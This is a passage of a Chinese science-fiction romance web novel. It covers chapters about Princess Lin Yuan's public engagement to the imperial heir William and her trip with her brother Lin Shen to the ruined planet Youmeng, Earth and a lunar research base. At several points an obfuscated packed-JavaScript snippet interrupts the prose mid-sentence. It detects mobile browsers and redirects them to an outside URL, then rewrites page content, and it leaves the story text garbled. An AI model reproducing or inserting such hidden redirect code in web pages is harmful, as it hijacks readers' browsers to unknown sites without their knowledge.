但威廉确实一直望向这边,甚至抬步想要向她走来。 好在院长及时拦住了他。威廉略微顿了顿,收敛了神情,跟随指引向台上走去。在客套而官方的开场白里,林沅的知觉慢慢回笼,才明白他是被邀请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“很抱歉,没有提前通知你,因为想给你一个惊喜。”威廉的双手戴着星际帝国制式军装的配套手套,手指克制却有力地扶起想要见礼的林沅,非常绅士地抱歉。 林沅却终于注意到他用的不是学院礼堂的传声麦,而是一个在他俩头顶缓慢无声旋转的收音机器人。 心底突然涌出一种不祥的预感,不知从何而起。 “殿下,您不会是要……”林沅心下焦急,小心想要避开收音,在旁观者眼里却成了二人亲密无间的铁证。 人群热烈地欢呼着,毕竟星际帝国与银河联盟虽然力量日渐悬殊,却仍然是曾经并肩开拓宇宙的铁杆盟友。不少人都认为这桩联姻将会为二者本就不可破坏的联盟拧上最牢固的红线。 威廉·霍恩海姆身材高挑,在平均成年男性身高已经接近一米九的时代,仍然挺拔得十分引人注目。他随身取出一个银色的小巧礼盒,旁边的下属立刻非常及时地递来一束鲜艳热烈的红色玫瑰。 在三百六十度环绕的各个传媒的高清镜头下,威廉面带微笑,向有些不知所措的林沅单膝下跪,打开手中的礼盒,取出一枚镶着硕大海蓝色宝石的戒指,和玫瑰一起递向她。 “请问您愿意正式成为我的未婚妻吗,公主殿下?” 5. 第 5 章 出发 从海伦学院的礼堂后门出发,到古朴的仿制红砖瓦砌成的学生宿舍,有一条长长的绿荫小径。生物学专业的学生们靠着DNA样本培育出了参天的梧桐树,从路的两边向上伸展,遮挡着模拟环境系统的灿烂阳光。 金色的光斑从缝隙间洒落,伴随着微风拍打枝叶的轻响,像是打翻了一地细碎的金箔。 林沅与威廉并肩漫步在小径上,四周寂静无声。身后的摄像头和师生们早已被穿着常服的星际帝国士兵们隔开,可她莫名感觉依然时时在被无数双眼睛监控和窥探。 头上扯坏的花环早已被取下。坐在台下被求婚之前她已经有了隐隐的预感,同时也是为了不要被无处不在的摄像头拍下不太妙的形象,原本披散的头发被她紧急盘在脑后。虽然依然有些松松散散,却多了一种温柔随和的美。 她为毕业典礼准备了一身纯白的连衣裙,刚才人群聚集拍照的时候难免有些褶皱。安妮把自己的披风脱给她遮挡一下,从后排人传人一点点递上来,林沅回头望去的时候她还在夸张地无声做着口型,手舞足蹈地不知在说些什么,把林沅逗得忍不住微笑起来,消弭了心中的一点紧张感。 模拟天气系统为毕业季控制了舒适的温度,林沅裹着披风漫步,努力让自己在清新的空气中镇静下来。 “你在紧张吗,殿下?”威廉率先打破了沉默。 “我已经接过了您的求婚戒指,请称呼我的名字就好。”林沅没有看向他,也没有回应他的疑问,只是自顾自地轻声说道。 “林沅,双木林,沅有芷兮……”她解释着自己的名字,想到这句诗的下半句,却突然不敢接了。 好在威廉普通话的专业程度也不够资深,很多古地球的文学他是没有研究过的,只是笑着说:“很抱歉,我对诗词不太了解,不过听起来是个很美的字。如果你不介意,我可以叫你阿沅吗?你也不必再称呼我殿下,叫我威廉就好。” 林沅鼓起勇气:“威廉……为什么选在今天突然来学院呢?联合公告早已发布,我实际上已经是你的未婚妻了,正式的订婚宴也早就敲定日期,很快就要到了……” “抱歉,确实有些唐突,我来之前也有部下劝过我,这样很可能不是惊喜而是惊吓……” 未来名震星际的暴君,此时此刻只是二十几岁的青年人,虽然身材挺拔,气质俊朗,仍然带着些年轻人的羞涩和稚嫩。 林沅侧头望向他。威廉银灰色的发丝没有完全梳地一丝不苟,反而有些随性,几根碎发在前额上微微遮住一点眼睛,蓝色的瞳孔带着雨后初晴般的清澈和宁静。 她想……此时此刻,这样几乎称得上“美好”的一个人,也会在未来的某一天,成为燃起战火、祸乱天下的暴君吗? 她心里忽然涌起一点微不可察的情绪,大概可以称之为“惋惜”。 威廉没有注意到她的神情,继续有些歉疚地说道:“因为我始终觉得,联合公告是太过官方的宣示,订婚宴也必然会成为双方高层谈论合作的托辞……我想……” 他好像有些踌躇着难以开口。林沅下意识跟随他停下脚步,两个人的眼神缠绕到一起,像是伸展触角轻轻试探的蜗牛。 其实抛开日后的传闻,威廉现在于星际帝国新闻中反复出现的形象也大概是“铁血、冷漠”之类。为了维护帝国皇储的威名,他最常做的表情其实就是面无表情。那双碧蓝如海的眼睛,更多的时候是表面平静、实际暗藏着汹涌情绪的无边深渊。审视、威严是很多人不敢直视他的缘由。 此时此刻,却看起来有些温和。 林沅在微风里抬起头,带着些微的笑意,似乎在鼓励着威廉继续说下去。她的碎发被微风轻抚开,露出年轻白皙的脸庞。墨色的杏眼好像不谙世事一般纯净,万分真挚。 “我想真正地向你告白。作为威廉·霍恩海姆向林沅,而不是星际帝国的皇储向赫斯塔公国的公主告白。”他看着林沅的眼睛,仿佛也同林沅一般真诚。 无声的空气中似乎有人在略带嘲讽地轻笑,或者也许只是林沅自己心底的声音。 她慢条斯理地伸出手,细白的纤纤玉指上,海蓝色的硕大宝石冰冷而高贵地横在两人中间:“可是殿下,能够与您联姻,银河联盟必将受益良多。承您的情,我实在受之有愧……” “怎么会呢?”威廉略带焦急地安抚她。 林沅顿了顿,眼神中似乎藏着些忧伤:“从前我不懂事,给您带来了不少麻烦,我一直觉得非常抱歉。” 威廉放松地笑了:“要是担心这个,那就更没必要了。如果不是阿沅始终愿意给我机会,我怎么会有幸在罗勒斯号上对你一见钟情呢?” 他礼貌地轻轻阻止了林沅试图摘下戒指的动作,嘱咐道:“请带着它吧,就当做是我今日唐突的赔礼。” 远处似乎有士兵在走来走去。林沅注意到威廉衣领上不太显眼的军用通讯设备一直在闪着红点,发出“滴滴”的轻响。 威廉抬手整了下衣领。通讯器的灯光霎时便熄灭了。 林沅善解人意地说道:“我明白,谢谢你……威廉。你的部下好像在找你,快去吧,我很快也要回家了。” 威廉回头望了望,对部下点头示意,然后深深地看着林沅:“那么……我们一个星际月后的订婚宴再见,阿沅。” 他低下头凑近林沅的右耳,是对着士兵警戒线的方向:“如果可以的话,希望你愿意想念我。” 虽然他留下的距离还算安全,林沅仍然有些不适应地微微退开一点:“私人通讯申请已经通过了。祝你一切顺利。我会……” 她其实有点说不下去,说不清是青涩还是厌恶。 威廉却显得已经非常满足,他深深看了林沅一眼,转身向部下走去。 林沅望着他的背影,心里有些不知所措的迷茫。 等那个清俊挺拔的身形渐渐远去,林沅也准备慢慢走回宿舍。在那附近有一个星际迁移的设备点,方便学生们在极短的时间里回到分散在各个星球的家中去。 她走了三五分钟,那两个带着翅膀的小机器圆球终于飞了过来,语气除了焦急更有些委屈:“殿下等等我们,殿下等等我们。汇报指挥中心——殿下安全!殿下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“怎么出名啊,麻烦帮我指点迷津吧,亲爱的姐姐。”林深懒洋洋的嗓音伴随着叮叮当当的背景声,震得林沅的耳朵有点难受,不知道他又在那边捣鼓什么。 “你要是来早一点,撕了他求婚的玫瑰,扔了他送来的戒指,大声地喊出来我们银河联盟赫斯塔大公的儿子绝不会牺牲姐姐的幸福来换取联姻,然后全球直播带着我逃婚,一定会立刻引爆宇宙八卦舆论的。”不知道怎么回事,出于本能,林沅总是忍不住想要挤兑他。 “冤枉啊,姐。”林深表示了抗议。“那可是你求之不得的真命天子,怎么棒打都打不散的命里鸳鸯。宁拆十座庙不毁一桩婚,分离有情人会遭天谴的。” “哪有你说的这么夸张啊,再说了你什么时候真打过鸳鸯,你都不试试,怎么就知道拆不散呢?” 就这么话赶话,林沅很快走到了校门口。海伦学院的占地面积实在是不算太大。 校门口停着一个崭新的飞行器,流线型的设计反射着锐利的微光。林深穿着一身深灰色的防辐射航行服,大大咧咧地站在入口,要不是脸庞清秀帅气,看着多少有点像古地球传说中修空调的老师傅。 他看见了林沅,朝她扔过来一个包裹,林沅吓了一跳,有些狼狈地接住,刚想发火,就听见了林深漫不经心的声音。 “逃婚算什么。我带你去流浪啊,姐姐。” 6. 第 6 章 幽梦 飞船在漫无边际的宇宙中前行,像是一只在黑暗中孤独飞翔的鸟。 林沅从狭小的休息间出来,已经换上了包裹里的航行服。 说是休息间,其实只是用自动门做隔断的两三平方小空间。这里大概是林深平常宇宙航行时勉强休息的地方,除了地上带着固定装置的软垫,只有墙上贴的乱七八糟的照片和裁剪报纸,看起来都像是有不少年头的文物了。 现在林沅上了“贼船”,自然而然地霸占了林深的房间,把他赶到前舱对着自动驾驶台发呆。 林沅匆匆扫了一眼墙上,大概是一些早期科技发现之类的内容,基本都是古地球时期的旧新闻,没有什么特别有价值的东西。大部分字迹模糊得厉害,只能依稀辨认出“新能源”、“平行宇宙”、“莫比乌斯环”这样的字眼,细看之下内容也没什么太大的营养,更像是民科小论文。 虽然来到这个陌生的环境大概也快一年时间了,拥有了许多熟悉又模糊的记忆,林沅其实很少真正接触外面的世界。 如今穿梭在浩瀚无垠的宇宙中,仿佛在永无止境地前行,确实有些新奇。 她走出隔间,看见林深懒懒散散地靠在驾驶座的位置上,一动不动盯着面前操作台上竖着的小显示屏。 她走近了才发现,竟然是今天求婚的直播回放。屏幕里温婉秀丽的姑娘杏眼圆睁,虽然有些吃惊但仍然尽力保持着身为公主的礼仪,唯有紧紧绷住那件波西米亚风薄披肩的手指末端,因为用力而发白的指尖泄露了内心竭力掩藏的不安。 视角对面硬朗的背影挡住一小部分镜头,直挺挺单膝跪地,捧着热烈的红色玫瑰,说出那句此时还在林沅心里不断回放的话:“请问您愿意正式成为我的未婚妻吗,殿下?” 林沅努力上前,在失重的影响下变成带着几分滑稽的慢动作。还好整个飞行器的空间本就不大,她很快便手指一拂把频道切掉,转头看见椅子上一脸玩味的林深,非常不满:“这有什么好看的,你今天直播不就已经看过了?这么无聊的话,快去看你的故事汇吧!” 林深轻轻往后倚了一下,做出双手投降的动作:“研究一下未来姐夫而已。我错了,姐。” 林沅感觉他最近面对自己,变得越来越没脸没皮了,跟人前沉默寡言的样子大相径庭。她把自己固定在旁边的驾驶座位上,懒得跟林深说话。 飞船偶尔会自动避开一些小天体群和太空垃圾。除此之外,整个宇宙中只有冰冷的群星,隔着亿万光年与他们遥遥相视。 “你最近是受了什么刺激。”林沅盯着左手食指的宝石戒指,终于还是先打破了沉默:“我都没问你要把我带到哪里去。让爸妈知道了怕不是要打断你的腿。” 林深满不在乎地笑道:“安心啦,姐。没跟爸妈报备过我怎么能把飞船开出来?真的就是带你去散散心。最近忙着考试还有毕业的事情,压力很大吧?” “还好吧,前前后后也就不到一年。”林沅侧头看着他一副胸有成竹的样子,心里还是不太安定。 林深好像突然想起了什么,有点兴奋地往林沅这边探了探:“对了,差点忘了恭喜你,已经是准研究生了。全A,不枉我帮你准备了那么多资料。” 他翻了翻操作台下的几个储物空间,在一堆厚厚的材料里面翻出了一张巴掌大的、薄而精美的金属卡片:“星际帝国首都星康伦大学天体物理学研究生录取通知书。恭喜啊,姐姐。” 林沅接过来,脸色有些缓和:“你少怼我两句来气我,我会更感激你的。” 林深立刻抗议道:“这是哪里的话,我可太冤了吧。咱家除了爸妈就是你,我才是食物链最底层,一天到晚除了夹紧尾巴做人还敢干嘛?” 林沅笑而不语。 林深把双手撑在脑后,抬腿搭在操作台边上:“好啦,趁着没订婚也没开学,好好放松一下吧,姐。带你去几个有意思的星球上逛逛。你这一年忙着考试,家里学校两点一线,除了赫斯塔哪里也没去。” 林沅听到这里,也有点感慨:“连去学校都是走迁移点,我都快忘了除了大公官邸和海伦学院之外的世界是什么样子了。” “不过。”她有点疑虑,“咱们怎么不走迁移点,更快一些呢?我假期也就一个月,你的驻站假期也不会太长。像这样航行,怕不是一半时间都得耗在路上。先说好,休息室必须归我啊,你别想让我在驾驶室凑合。” 林沅颇有些警惕地盯着林深。 林深又做好了投降的姿态,一脸无奈:“放心放心,我都说了我是食物链最底层,你放一万个心就好了。” 他接着解释道:“每个星球上的迁移点都是固定的,只有人类活动频繁的地方才有迁移点的建设,我想带你去的是一些有点偏远的星球,还是要靠星际航行。之前爸妈不大让你自己出门,是出了……去年那档子事嘛。丧心病狂的玩意儿,搞那么些机械毒虫子来暗杀,连天幕都没能挡住。” 天幕就是天气和环境等等各种模拟系统的统称,因为看起来像是一个罩子笼罩在人类聚居区,而得名为“天幕”。几乎每一个有人类聚落的星球都有天幕的存在,以前仅仅是为了保证人类的生活环境,后来更是发展到把各种外来风险和武力威胁拒之于星球之外。 只不过每个国家的科技发展水平不同。有些一直只有早期简单功能的天幕,很快就跟着被迫亡国的星球消失于茫茫宇宙之中了。 “我最近忙着学习。联盟现在平叛的扫尾已经做得差不多了吗?”林沅轻声问。 林深也严肃起来:“父亲从去年到现在几乎一直在联盟总部那边忙得脚不沾地,联络了好多还在那个叛乱星球上的老同学,帮助联盟的总理事一起,慢慢基本把局面完全控制下了。只是……” 他面露难色,林沅了然:“审判不太顺利吧?” 林深点点头:“咱们这边在恐袭里面失去了好几个官员。当时觉得不是正常换届的时期,对政局的影响不会过大,还可以找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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林沅轻轻笑了,有些新奇:“真是难得,你也有会说这种漂亮话的时候。” “怎么会呢,我是真心实意啊。”林深不满道。 一个巨大的星球逐渐出现在眼前。两人结束了闲聊,不约而同地望了过去。 “天呐……”林沅不由自主地喃喃出声。 大气层的风暴在星球的表面肆虐,形成一个个诡谲的大型花纹,带着一种遮天蔽日的狰狞。 林深伸手给她系好安全带:“准备好,姐姐。我们旅行的第一站,也是最近的一站,已经到了。” “飞船已做好降落准备。防冲撞模式开启。警告,警告,请不要解除安全措施,飞船将于四分三十秒后降落地面。警告,警告……” 机械而冰冷的女声在飞船中回荡。从没亲身经历过这种场面的林沅不由得有些紧张。林深却直直地看着前方,神情在冷光的照射下显得格外坚毅。 “欢迎来到古人类踏出地球的前哨站,姐姐。”他声音毫无起伏地说道。林沅一瞬间有种错觉,他仿佛也成为了一种冰冷的机械。 “这是全人类漫漫征途上团结一致的终点,也是分崩离析的起点——幽梦星。” 7. 第 7 章 群星 “我一直以为赫斯塔就是人类离开地球的第一站……” 林沅小心翼翼地踩了踩脚下质地坚硬的土地,跟在林深身后走出了飞船。航空防护服已经自动全封闭,头部是薄如纸但非常坚固的透明球形面罩,并自带通讯功能。 他们驾驶的飞船传送到了离幽梦星最近的一个迁移点,但在那之后,仍然以超光速行驶了很久,才终于抵达目的地。 智能驾驶系统为他们选择了合适的降落点。这里地形平坦,风平浪静。远处的阴影中,人类遗迹的轮廓连绵矗立着看不到尽头,像是寂静死去的巨人骸骨在空洞地注视着天外来客。 “那是你上课没有好好听讲。”林深的声音响起。因为面罩的缘故,听起来有些沉闷。 他耐心地向林沅解释:“星际移民其实是一个非常漫长的过程。在古地球的环境彻底无法容纳人类生存后,迁移的队伍陆陆续续来到了当时的科技所能到达的最近的类地行星。这里之前就建好了航天驻地,建造了很多大型的智能生活区。此后经过接近一千年的时光,地球所有能离开的人们才都挤到了这唯一的新家园。” “然而随着科技和基础学科的重大突破,人类的生命突然得到了非常可观的延长,加上秘密开展体外培育胎儿试验的组织越来越多,填补了自然生育率下降的缺口,人口呈现出爆发式的增长。即使这颗类地行星是地球的数倍大小,慢慢也无法容纳如此之多的人口,最终爆发了一场极其惨烈的战争。” 林深一边平静地叙述着,一边示意林沅跟上。 距离飞船停泊地点越远,地上慢慢出现越来越多半埋在地下、几乎已经无法辨认原样的大型机械残骸,路况也变得更加高低不平,甚至出现了一些巨大的不明坑洞。 林沅能感受到脚下的地质极其坚硬。然而一场几千年前的战争,给这里凿下了漫长时光也抚不平的无数伤痕。 “后来的事情,就是如今宇宙势力分布格局的开端。”林深补充道。 “战争造成了幽梦星数以百年计的混乱,各方开始不断武力争抢科技人才和战略资源。最终这里爆发了与地球同样惨烈的技术事故,所有本来适宜长期生存的环境再次慢慢被毁坏殆尽。‘人类从历史中唯一学到的教训,就是没有吸取到任何教训’。” 林沅听得入迷,不由地轻轻叹气:“所以,现在宇宙不断纷争割据的势力,其实从这里就开始了吗?” 林深点点头:“联盟的人保留了最全的DNA样本,并且不愿意离开银河系。而掌握了军工和军队势力的群体,更愿意承担风险,开始远走各大星系开拓势力,以协会的名义把各方军阀团聚在一起,成就了如今的帝国。还有其他一些占据了各种资源的势力,以银河系为中心向外探索,遍布了宇宙各个角落。只是距离太远,许多小星球都已经失去了联络,人们最了解的还是自己脚下的土地。” 林沅观察着四周,不由得有些可惜:“这里现在没有任何人生存了吗?” “这里的气温太低,辐射又重,失去了高端科技的庇佑,留下的人慢慢也就逐渐消亡了。咱们也不能在这里停留太久。”林深的声音十分沉着,话语中潜藏的内容却让林沅感觉不寒而栗。 一场人吃人的厮杀,如今细细说来,也不过寥寥数语。 “这里属于银河联盟的领地范围,因为历史原因,几乎不再有人愿意踏足,只是把它的那串代码命名为幽梦星。人类雄心勃勃地迈出地球,想要建设没有饥荒、没有灾厄的伊甸园,却最终只是把一颗美丽的星星变成埋骨的坟茔。” 一场大梦,遗恨万年。 林深的科普讲完了。两个人沉默了很久。 “其实……我一直觉得你很奇怪。”站在人类遗迹的脚下,林沅仰望着眼前,在没有“天幕”存在的时期,曾经辉煌矗立过的冰冷外墙。 “科学怪人嘛,这不是你一直给我的定位吗,姐?”林深笑着说。 林沅没有正面回答他,只是突兀地问:“为什么你还能留着那么多看起来像是古地球时期的报纸?” “因为都是仿品啊!”林深惊奇道:“什么纸质能留存那么久。你不会还认真看了吧?” 他打开手腕上的摄影装置,开始给周围拍照:“我平时也很少有空开这个出来。去地球驻站都是蹭学校的大飞船。只有无聊的时候偶尔躲在里面看书,就装饰了一下。” 他把四周全拍了一遍,翻看了几眼,表情非常满意:“好了,期末论文这不就搞定一半了嘛,回去随便写点就可以了。” 林沅非常无奈:“我就说你怎么这么有兴致,还带我出来散心。” “带你出来散心肯定是真的,不过我期末打算写一篇跟人类早期科技发展史有关的论文。顺道,顺道嘛。”林深冲她略带讨好地笑着。 “那要再走远些看看吗?”林沅看着眼前的建筑残骸,轻声问。 “那再好不过了,不过咱们就不走着去了。” 林深对着身后招了招手。林沅回头才发现飞船竟然就无声无息地跟在他们后面,吓了一大跳:“什么时候过来的!” 林深笑着安慰她:“要不怎么说是新款呢,没点隐藏功能怎么行。刚才走着来主要是为了采集一点样本。在外面不够安全,为了万无一失,还是去飞船里吧。” 他们通过认证,上了飞船。林沅瞥见自己带过来的披风还封在包裹里,放在墙上固定住的透明储物空间中。 “差点忘了,你认不认识那个贝克家的小姑娘?”林沅关了面罩,问正在驾驶台捣鼓着存放样本的林深。 “谁?哪个贝克家?”林深很专注,头也没回。 “就是党鞭贝克女士的女儿安……安妮·贝克。你知道我除了考试和毕业几乎没怎么在学校上过课,连同学的通讯都没有留,我几乎都分不清他们谁是谁。”林沅颇有些懊恼地说。 “贝克女士呀……你找那个小姑娘有事吗?”林深忙完了,走到她身边来,一起看着那个披风。 林沅给他解释:“今天从学校走得太匆忙,忘了把借来的披风还给她。班里为了隐私,也没有什么公开的通讯录。负责联络我的校方人工智能简直是人工智障 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她便继续分析道:“不过这么多年来,他们仍然一直只是在野党,还是说明人心思定吧。毕竟对外扩张得到的也许不只是无人星球的资源,还有战争、死亡、割据和分裂。” “最重要的是赫斯塔的存在。”林深提醒她。 “最初带着完整DNA库留在银河系的,是深受幽梦星百年战争困扰的人们。在新科技爆发式增长下的战争中,人命只是一个数字。人们向往平静的生活,喊出了‘再造地球’的口号。而顺应人心的联盟统一党,便逐渐成为了稳定的执政党。” “于是轰轰烈烈的‘再造地球’运动就开始了。人们在银河系无数类地行星上开始尝试建设‘天幕’,完整还原地球上的生存环境。这些行星甚至其实包括已经被毁坏殆尽的地球和幽梦星,只不过这两处因为辐射过重,很快被放弃了。”飞船已经慢慢行驶到遗迹边缘,开始加速上升,准备离开幽梦星。 林深望着窗外,表情有些伤感:“在所有的复制品中,赫斯塔星是最完美的那一个。它是全联盟保守派最不能割舍的信仰,永恒极夜中唯一可以朝圣的北辰星。尽管在这个‘赝品’里,人们仅能窥探到那些天生造物万分之一的绝艳。” 他轻声喟叹:“但对于从出生起,就在漫漫宇宙中无止境流浪的新人类来说,已经足够了。” 8. 第 8 章 地月 在飞船驶离幽梦星的路上,林沅若有所思地问:“这么说,原来联盟与帝国在成为盟友之前,其实也是有过生死之争的仇敌吧?” 林深点点头:“可以说现在宇宙中的所有势力,都曾经在这里造下尸山血海的仇怨。可是宇宙的时间太漫长了,漫长到需要的时候,仇敌可以变成盟友,盟友也可以变成死敌。” “可惜宇宙这么大,却仍然承载不下人类的野心。”林沅轻轻道。 “别去想那么多了,放松点,姐。要不要给爸妈发个通讯?给他们报个平安吧。”林深偶尔可靠起来的时候,给林沅一种其实他是哥哥的错觉。 正说着,飞船的通讯就发来了连接申请,林深愣了一下,笑道:“这就是心灵感应吧。” 林沅也有些雀跃。她接通了申请,舒晏美丽温柔的眉眼出现在屏幕上。 “妈咪!爸爸又在忙呀?”看见母亲,林沅的声音都忍不住放软了。她双手撑着操作台,冲着大屏里的舒晏不自觉地撒娇。 “他呀,又在联盟总部那边开会呢。虽然离家也不远,连回来吃个饭的时间都抽不出来。”舒晏细细打量着姐弟俩,笑着轻声抱怨。 林深在家里人,尤其是父亲母亲面前,一向有些寡言。他看着舒晏和林沅对话,神情却很放松,流露出了一些他自己也许都没察觉到的温柔。 林沅和母亲说了很久,从毕业、星际航行,一直讲到幽梦星,还不动声色地夸了夸林深,换来他几不可见地眉头轻挑。 不过她刻意避开了求婚。舒晏也就没有问。 最后要挂断通讯时,她看着林沅意犹未尽的神情,沉吟半晌,还是忍不住补充道:“沅沅……其实,为了你的婚姻不要成为政治的牺牲品,你父亲他,拒绝过很多次帝国使者对这场联姻的游说……” “妈妈。”林沅安慰她,“你放心,既然是我选好的路,我会做好我该做的。不论是作为赫斯塔的公主,还是作为……我自己。” “不论如何。”舒晏认真地看着她,“妈妈最希望的就是……你是幸福的。” 挂断通讯,飞船已经彻底离开大气层,再一次行驶在无穷无尽的茫茫星海中。 林沅痴痴望着前方看不到尽头的宇宙。 天地偌大,心里却好像突然有了归处。 “下一站,你有没有特别想去的地方?”林深的声音及时响起,打断了她的思绪。 林沅非常惊奇:“我以为你已经把路线全都规划好了!” “我是有不少备选,不过也得看你更喜欢去哪里。”林深解释道。 “都说了我除了赫斯塔,哪里都没去过。”林沅叹了口气,“现在简直像是被绑匪带到了海上,绑匪还跟我说,喜欢哪片陆地,就带我往哪开。” “我喜欢一些没有生命危险的地方。”她幽幽地盯着林深。 “安心啦,现代科技连半小时的辐射都隔绝不了的话,人类也不用探索宇宙了。刚才在外面那么短的时间,什么影响也不会有。” 林沅偏过头检查手腕上的通讯,不想理他。 两个人静默了一会,林深好像突然想到了什么,有些兴奋地戳了戳林沅:“姐,你想不想去月球看看?” 林沅心里惊了一下,支支吾吾地问:“哦……月球……那里好玩吗?” “我们的驻站主基地在那里,我带你去看看吧?” “你现在是要告诉我假期旅游的项目是参观学校实验室吗……”林沅的眼神更幽怨了,“而且,你们不是在地球驻站吗?” 林深耐心解释:“地球上的环境太恶劣了,我们的基地不能久待,主基地还是在月球上。” “要不要去看看,真正的月亮?” 林沅……林沅可耻地心动了:“听起来好像是有点意思……谁说实验室不能做景点?” 不过她还是忍不住吐槽:“说是带我散心,结果不是给你的期末论文采集样本,就是去你的常驻实验室参观。我是散心还是陪你上学来了?” 林深嘴硬道:“也算是一种新奇的体验嘛。” 林沅不说话。 过了一会,点了点头。 林深立刻乐不可支地呼唤智能驾驶系统调整航向。林沅默默低头假装在看通讯器,手指左右划过来划过去。 月亮……月亮啊。 醉酒的嫦娥、捣药的月兔、伐桂的吴刚,不知是否还藏在历史传说的角落里。而遥望明月的人类,已经不是当时的人们了。 人生代代无穷已,江月年年望相似。 痴痴思索着,手上的通讯器突然短暂尖锐地“滴”了一声。林沅低头看去,一个只有大写字母“W”的默认头像发来了一条讯息。 她顿了顿,感觉被人破坏了心情,有些不想看,却因为刚刚手指划来划去的惯性,已经点开了。 “……” 威廉给她发来了一张照片,通过投影弹出在她面前。大概是某个星球落日的景象。橘金和赤红渐变渲染的彩光,铺在傍晚如墨的湖水上。图片下面还有一行小字:打扰了,阿沅。梅星的晚霞很美,想发给你看看。 “梅星是哪里?”林沅突然问林深。 林深侧头探究地看了她一眼,很迅速地回答道:“是一个中立国度,属于猎盟的初级成员。” “猎盟?”她有些疑惑。 “‘狩猎者同盟’,简称‘猎盟’,标志是一头金色的麋鹿。” “这个名字我倒是从未听过。”林沅沉吟道。 “宇宙割据的势力太多了,没听过也很正常。不过最近这几年,听说他们名下的星球越来越多,也许过不了多久,就要成为雄踞一方的霸主了。” “一些独自开拓的小势力,在占领了某个星球后,为了不被更大的势力吞并,会申请加入猎盟来换取保护。一旦他们被别人入侵,猎盟的军队就会根据条约正式出击,合理合法地获取土地并驻扎下来,只不过原来的主人仍然是那个星球名义上的领主。” “听说这几年这种星球越来越多。甚至有人在掌握了智能科技后,恰巧占领的星球拥有丰富珍贵的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14616715|156160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 矿产资源,智能机械得以源源不断地自我复制,实现一个人占领一个星球。” “而只要有了猎盟的保护,即使他们不具备更加高精尖的军方武器,也足够高枕无忧了。” 林沅深深地被震惊了:“一个人……占领一个星球?那未免太孤独了吧。” “只要有了领地,自己就是受猎盟保护的星球主,又怎么会缺‘人’这种最廉价的资源呢?” 交谈间,林沅望见飞船前端大片的透明屏幕正中,慢慢出现了一个蓝色的光点。 “林深,那是……”她有些说不出的激动,喃喃地喊着林深的名字,目不转睛地看着那个小小的光点。 “姐姐,欢迎来到我们旅行的第二站——地月系。” 巨大的蓝色星球逐渐呈现在眼前,仿佛从未被破坏过那般宁静。 林深没有急着让飞船降落,而是先围绕着地球缓缓地飞行。 林沅放轻了呼吸,安静地看着,只觉得眼眶微热。 太美了。这是最清澈明净的蓝,交织着如纱般轻盈的白色云层。险峻挺拔的山脉从沉重的泥土中拔地而起,撑起脊背向天空怒目。 即使是古地球中世纪欧洲国王王冠正中的宝石,和教皇权杖顶端最耀眼的碧玺,也不及这蓝色万分之一的纯净绝美。 “会不会是弄错了呢?”林沅突兀地问道。她太投入了,甚至没有注意到自己声音中的哽咽。 林深知道她想说什么:“辐射是无形的破坏。这里已经完全不适合生存了。” “原来是这样啊……”林沅努力扯着嘴角,神情却满是悲伤,“其实家一直在那里,只是我们回不去了。” 林深没有打扰她。林沅伸手撑着屏幕,仿佛要去抚摸什么。只是终究触碰不到。 她低下头,有些闷闷地喊林深:“去月球吧。我不想看了。” 飞船开始转向。朝着背离地球的方向驶去。 林沅低着头,在通讯上给威廉回了几个字。 谢谢。很美。 飞船很快就穿过了小型的天幕,到达了月球上的总基地。这里是联盟最权威的研究机构,同时也是最高学府——联盟科学研究院,为学生和科研人员设立的实验所。 除了他们,这样偏远且已经被破坏殆尽的地方,早已无人踏足。 林深从十二岁时就被联盟科研院的少年部录取,三年时间便升到了正式的本科部。他一直深受研究员们的喜爱,参加了一些本科部根本接触不到的项目。 地月系观察项目“星海”,就是其中之一。 “这里本来也没有多少人,现在赶上两次驻站之间的申请期,更是几乎都放假了。”林深带着林沅走进开阔宏伟的基地,可以看出联盟研究院从不吝啬于对研究员们的资金和技术支持。 “我去!这谁呀这是!”一个圆圆的摄像头机器人从墙上骨碌碌滚下来,三两下弹到他俩眼前,发出一声腔调古怪的中文,把林沅吓了一跳。 林深走上前,挥手将摄像头拍飞:“你爹。” 9. 第 9 章 团队 听见这声略显粗鄙的回答,原本围着两人上蹿下跳看起来很兴奋的金属圆球突然卡顿了一下,然后“嗖”地一声闪现到林深面前。 “你你你你你你——”圆球正中的摄像头像是一只真实的眼睛那样不停地开合,看起来被气得够呛。 “跟你说过多少次了,这是公共财物、校方资产!别老是动手动脚,毁坏了可是要十倍原价赔偿的!” “再有下次,你师兄我有先斩后奏的权力,不等老头子来救,直接就把你——” 球体一侧突然打开了一个小圆洞,伸出了一只细长的金属臂,末端在半空中“啪”地一声直接打开,成了一只小巧的机械手。 圆球用这只手臂摆出了一个大概称得上是“抹脖子”的动作,虽然林沅不大明白它的脖子在哪里。 “——咔嚓。”它接了句拟声词。 “好凶喔。”林沅非常捧场地鼓励道。 “哎呀呀呀,这是哪里来的美女。你好你好,幸会幸会。我是联盟科学研究院的宋庭眠,林深的研一师兄。” 